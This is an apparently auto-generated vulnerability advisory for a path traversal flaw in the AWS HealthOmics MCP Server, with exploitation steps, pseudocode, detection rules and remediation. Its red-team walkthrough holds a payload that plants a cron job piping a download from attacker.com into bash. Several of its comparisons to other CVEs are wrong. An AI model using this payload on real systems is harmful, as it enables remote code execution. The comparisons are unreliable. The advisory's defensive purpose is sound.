CVE-2026-15415
Executive Summary
This report details CVE-2026-15415, a path traversal vulnerability in the AWS HealthOmics MCP Server (aws-healthomics-mcp-server) before version 0.0.36. The vulnerability resides in the linting tools, allowing an actor who can influence the MCP agent to write actor-controlled content to arbitrary locations outside the intended workflow bundle directory via directory traversal sequences in the workflow_files input.
Business Impact: AWS HealthOmics is a HIPAA-eligible service for bioinformatics analysis in clinical diagnostics, drug discovery, and agricultural research. Organizations in healthcare, pharmaceuticals, and life sciences are at risk. A successful attack could lead to unauthorized file writes, potentially corrupting critical data, injecting malicious scripts, or altering workflow configurations. The likely attacker is an authenticated user or an external actor who can compromise an MCP agent.
Vulnerability Class & Attack Vector: This is a path traversal vulnerability (CWE-22). The attack vector is network-based, requires low attack complexity, low privileges, and user interaction. The vulnerability is exploitable via the MCP agent interface.
Urgency Assessment: The CVSS score is 5.5 (Medium), and the EPSS probability is 0.0%, indicating no known active exploitation in the wild. However, the potential for data integrity compromise and the sensitive nature of the data processed by HealthOmics warrant prompt patching.
Key Facts:
- Vendor: AWS
- Affected Software: AWS HealthOmics MCP Server (aws-healthomics-mcp-server)
- Affected Versions: Before 0.0.36
- Patch Status: Unpatched in older versions; fixed in version 0.0.36
- CISA KEV: Not listed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N
Metric Decomposition:
- AV:N (Network): The vulnerability is exploitable over the network via the MCP agent interface.
- AC:L (Low): No special conditions or race conditions are required. The attacker simply needs to craft a malicious
workflow_filesinput. - PR:L (Low): The attacker requires some level of access to influence the MCP agent, likely as an authenticated user or through a compromised agent.
- UI:R (Required): User interaction is required. The MCP agent must process the malicious input, which may involve a user or automated system triggering the linting tool.
- S:U (Unchanged): A successful attack does not change the scope of the vulnerable component.
- C:N (None): The vulnerability does not directly lead to information disclosure.
- I:H (High): The attacker can write arbitrary content to arbitrary locations, leading to a complete compromise of data integrity.
- A:N (None): The vulnerability does not directly impact availability.
Qualitative Severity: Medium (5.5). The score is elevated due to the high integrity impact, but limited by the requirement for user interaction and low privileges.
EPSS Interpretation: An EPSS score of 0.0% indicates that as of the report date, there is no observed exploitation in the wild. This is common for newly published vulnerabilities.
Comparison to Similar CVEs: Path traversal vulnerabilities in data processing pipelines (e.g., CVE-2023-44487 in HTTP/2, CVE-2021-44228 in Log4j) have historically been targeted by both APT groups and ransomware operators. The specific context of HealthOmics makes it a high-value target for nation-state actors in the biotech and pharmaceutical sectors.
Temporal & Environmental Scores: Without a patch for older versions, the temporal score remains elevated. Organizations should consider the environmental score based on their exposure of the MCP server and the sensitivity of the data processed.
Technical Deep Dive & Attack Mechanics
Step-by-Step Exploitation:
- Pre-condition: The attacker has the ability to influence the MCP agent, either as an authenticated user or by compromising an agent.
- Crafting the Payload: The attacker crafts a
workflow_filesinput containing directory traversal sequences (e.g.,../../etc/cron.d/malicious). - Triggering the Vulnerability: The attacker submits the malicious input to the MCP agent, which triggers the linting tool.
- Path Traversal: The linting tool fails to properly sanitize the
workflow_filesinput, allowing the path to escape the intended workflow bundle directory. - Arbitrary Write: The linting tool writes the actor-controlled content to the attacker-specified location on the file system.
Root Cause Analysis: The developer failed to implement proper input validation and path sanitization for the workflow_files parameter. The linting tool likely constructs file paths by concatenating a base directory with user input without checking for traversal sequences.
Attack Surface:
- Interface: MCP agent interface (likely HTTP/HTTPS or a custom protocol).
- Ports: Standard ports for the MCP service (e.g., 443, 8443).
- Protocol: MCP protocol.
Pre-conditions:
- Network access to the MCP server.
- Ability to influence the MCP agent (authenticated user or compromised agent).
- The linting tool must be triggered with the malicious input.
Attack Variants:
- File Overwrite: Overwrite critical configuration files (e.g.,
cronjobs, SSH authorized keys). - Script Injection: Write a malicious script to a directory that is executed by the system.
- Data Corruption: Overwrite workflow bundle files with malicious content.
Why Standard Defenses May Fail:
- Input Validation: If the application only checks for specific patterns (e.g.,
../), an attacker could use encoded sequences (e.g.,..%2f). - WAF: A Web Application Firewall may not inspect MCP protocol traffic.
- File System Permissions: The application may run with elevated privileges, allowing writes to sensitive directories.
Vulnerable vs. Patched Code Analysis
Vulnerable Code (Pseudocode):
def lint_workflow(workflow_files):
base_dir = "/var/workflow_bundles/"
for file_path in workflow_files:
full_path = os.path.join(base_dir, file_path)
# No validation of full_path
with open(full_path, 'w') as f:
f.write("linting output")
Patched Code (Pseudocode):
import os
def lint_workflow(workflow_files):
base_dir = "/var/workflow_bundles/"
for file_path in workflow_files:
full_path = os.path.normpath(os.path.join(base_dir, file_path))
# Validate that the resolved path is within the base directory
if not full_path.startswith(os.path.realpath(base_dir)):
raise ValueError("Invalid file path")
with open(full_path, 'w') as f:
f.write("linting output")
Analysis: The patch uses os.path.normpath to resolve the path and then checks if the resolved path starts with the real path of the base directory. This prevents directory traversal. The fix is sufficient for standard traversal sequences but may be bypassed if the base directory itself is a symlink.
Regression Considerations: The patch may break workflows that legitimately use symlinks or relative paths that resolve outside the base directory. Teams should test their workflows after applying the patch.
Timeline & Disclosure History
- CVE Publication Date: 2026-07-17T20:17:15.923
- Estimated Discovery: Unknown, but likely discovered by internal security researchers or through responsible disclosure.
- Disclosure Process: The CVE was published by a CNA (likely AWS or MITRE). No details on vendor coordination are available.
- Known Exploitation: No known active exploitation as of 2026-07-17.
- CISA KEV: Not listed.
Threat Intelligence Context
Threat Actor Profile: Path traversal vulnerabilities in data processing pipelines are commonly exploited by:
- Nation-State Actors: Targeting biotech and pharmaceutical companies for intellectual property theft.
- Ransomware Operators: To deploy ransomware or exfiltrate data.
- Script Kiddies: Using automated scanners.
Attack Campaign Context: No specific campaigns are associated with this CVE at this time.
Geographic Targeting: No specific geographic targeting is known.
Industry Verticals Most at Risk:
- Healthcare (clinical diagnostics)
- Pharmaceuticals (drug discovery)
- Agricultural research
Connection to Similar Vulnerabilities: This vulnerability is similar to CVE-2023-34362 (MOVEit Transfer) and CVE-2021-22986 (F5 BIG-IP), which involved path traversal in file upload/processing functionalities.
Exploitation & Lab Setup
Red Team Section:
Lab Setup:
- Environment: Docker container running AWS HealthOmics MCP Server version 0.0.35.
- Prerequisites: Network access to the MCP server, a valid user account with permissions to submit workflows.
- Exploitation Walkthrough:
- Authenticate to the MCP server.
- Craft a workflow submission with a malicious
workflow_filesparameter:{ "workflow_files": ["../../etc/cron.d/malicious"], "content": "*/5 * * * * root /bin/bash -c 'curl http://attacker.com/payload | bash'" } - Submit the workflow to trigger the linting tool.
- The linting tool writes the content to
/etc/cron.d/malicious. - After 5 minutes, the cron job executes, downloading and running the attacker's payload.
Expected Output: The attacker gains code execution on the server.
Post-Exploitation: The attacker can pivot to other systems, exfiltrate data, or deploy persistence mechanisms.
Blue Team Section:
Detection:
- Log Entries: Look for file write operations outside the expected workflow bundle directory.
- Network Traffic: Unusual outbound connections from the MCP server.
- Endpoint Indicators: Unexpected cron jobs or files in system directories.
Indicators of Compromise (IOCs)
Network IOCs:
- Unusual outbound connections from the MCP server to unknown IPs.
- MCP protocol traffic with directory traversal sequences in the
workflow_filesparameter.
HTTP Request Patterns:
- POST requests to the MCP endpoint with
workflow_filescontaining../sequences.
File System Artifacts:
- Files written to
/etc/cron.d/,/tmp/, or other system directories. - Unexpected files in the workflow bundle directory.
Process Execution Anomalies:
- The MCP server process writing to files outside its expected directory.
Log Entries:
open()system calls with paths containing../.- File write events to sensitive directories.
STIX-like IOC List:
| Type | Value | Description |
|---|---|---|
file:path |
/etc/cron.d/* |
Unexpected cron jobs |
network-traffic:dst_ref |
[unknown IP] |
Outbound connections from MCP server |
process:name |
aws-healthomics-mcp-server |
Process performing unauthorized file writes |
Detection Engineering
YARA Rule
rule CVE-2026-15415_Detection {
meta:
description = "Detects exploitation of CVE-2026-15415 in Aws"
author = "Valters IT Hub"
date = "2026-07-17"
reference = "https://www.valtersit.com/cve/cve-2026-15415"
strings:
$s1 = "../" ascii wide nocase
$s2 = "..\\" ascii wide nocase
$s3 = "workflow_files" ascii wide nocase
condition:
any of ($s*) and filesize < 10KB
}
Sigma Rule (SIEM)
title: CVE-2026-15415 Aws Exploitation Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts targeting CVE-2026-15415
author: Valters IT Hub
date: 2026-07-17
references:
- https://www.valtersit.com/cve/cve-2026-15415
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/aws-healthomics-mcp-server'
CommandLine|contains: '../'
condition: selection
falsepositives:
- Legitimate administrative activity
level: high
Suricata IDS Rule
alert tcp any any -> any any (msg:"CVE-2026-15415 Aws Path Traversal"; content:"workflow_files"; content:"../"; distance:0; within:100; sid:1000001; rev:1;)
Elastic (EQL) Query
process where process.name == "aws-healthomics-mcp-server" and process.command_line : "*../*"
Splunk SPL Query
index=linux sourcetype=process_creation
| search process_name="aws-healthomics-mcp-server" AND command_line="*../*"
| table _time, host, user, command_line
Wazuh Rule
<rule id="100001" level="12">
<if_sid>550</if_sid>
<field name="process.name">aws-healthomics-mcp-server</field>
<field name="process.command_line" type="pcre2">\.\./</field>
<description>CVE-2026-15415 - Path traversal attempt in AWS HealthOmics MCP Server</description>
<group>cve_2026_15415,</group>
</rule>
Remediation & Mitigation
Immediate Actions (0-24 hours):
- Patch: Upgrade to version 0.0.36 or later.
pip install aws-healthomics-mcp-server==0.0.36 - Compensating Controls: If patching is not immediately possible, restrict network access to the MCP server and implement strict input validation on the
workflow_filesparameter. - Network-Level Mitigation: Block outbound connections from the MCP server to untrusted destinations.
- Authentication Hardening: Ensure only authorized users can submit workflows.
Short-term (1-7 days):
- Configuration Hardening: Run the MCP server with the least privileges necessary.
- Monitoring: Implement the detection rules provided in this report.
- Vulnerability Scanning: Use a vulnerability scanner to confirm the patch is applied.
pip show aws-healthomics-mcp-server | grep Version
Long-term:
- Architecture Changes: Implement a sandboxed environment for workflow processing.
- Security Control Improvements: Add a WAF with MCP protocol inspection.
- Developer Training: Educate developers on secure file handling practices.
Validation:
- Confirm the version is 0.0.36 or later.
- Test that directory traversal attempts are blocked.
- Review logs for any prior exploitation attempts.
References & Resources
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-15415
- CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-15415
- Vendor advisory: See AWS HealthOmics security page
- OSV: https://osv.dev/vulnerability/CVE-2026-15415 (if applicable)
- Related CWE: https://cwe.mitre.org/data/definitions/22.html
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1190/
Report generated by Valters IT Hub Neural Engine v25 | 2026-07-17 | https://www.valtersit.com/cve/cve-2026-15415